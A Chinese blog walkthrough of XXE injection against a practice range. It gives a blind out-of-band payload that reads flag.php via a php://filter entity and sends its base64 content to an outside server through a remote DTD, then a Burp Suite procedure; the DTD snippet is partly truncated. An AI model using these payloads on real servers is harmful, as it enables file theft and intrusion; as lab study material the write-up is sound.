XXE实体注入
XXE实体注入
首先来理清一下发生XXE实体注入漏洞的原因:

代码中有这一句,将接收到的xml内容给执行了,xml文档可以读取服务器上的文件,然后xml的内容我们可以控制,就造成了攻击。
常规的XXE攻击方法:
检测出一个网站存在XXE漏洞后,尽力获取该网站的重要文件目录(或可通过御剑扫描),xml攻击payload:
<?xml version=”1.0”?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM “php://filter/read=convert.base64-encode/resource=C:/phpStudy/WWW/xxe/flag.php”>
<!ENTITY % remote SYSTEM “http://59.63.200.79:8014/xxe/1.xml">
%remote;
%send;
]>
因为没有回显的问题,所以我们采用类似xss的方法,让该网站带着我们想要读取的文件内容作为参数去访问我们构建的网站,截取下参数内容即是我们需要的内容。
http://193.168.32.146/xxe/1.xml,是我们自己网站构建的一个页面,代码为:
<!ENTITY % all
“<!ENTITY % send SYSTEM ‘“
>
%all;
将读取的file内容作为get参数访问我们构建的2.PHP,2.PHP会截取get参数并生成一个3.TXT供我们查看。其中1.xml、2.php、3.txt都应该是我们自己搭建的环境,类似于反弹注入。
下面尝试一下靶场实战:
地址:http://59.63.200.79:8014/xxe/
工具:burpsuite用来判断XXE实体注入漏洞,并发送payload
首先打开靶场发现靶场提供了源代码:

这一行代表服务器会接受xml的post传参,所以存在XXE漏洞。
我们需要找到想要读取的服务器文件路径和名字(实战中或许可以使用工具去扫描):
flag.php

改变参数传递方式,去掉Content-Type这个定义编码的请求头。
然后访问http://59.63.200.79:8017/3.txt:

发现修改成功,然后将下面的base64解码就可以了:

获得flag.
-------------------------------------------
个性签名:你有一个苹果,我有一个苹果,我们交换一下,一人还是只有一个苹果;你有一种思想,我有一种思想,我们交换一下,一个人就有两种思想。
如果觉得这篇文章对你有小小的帮助的话,记得在右下角点个“推荐”哦,博主在此感谢!
独学而无友,则孤陋而寡闻,开源、分享、白嫖!

浙公网安备 33010602011771号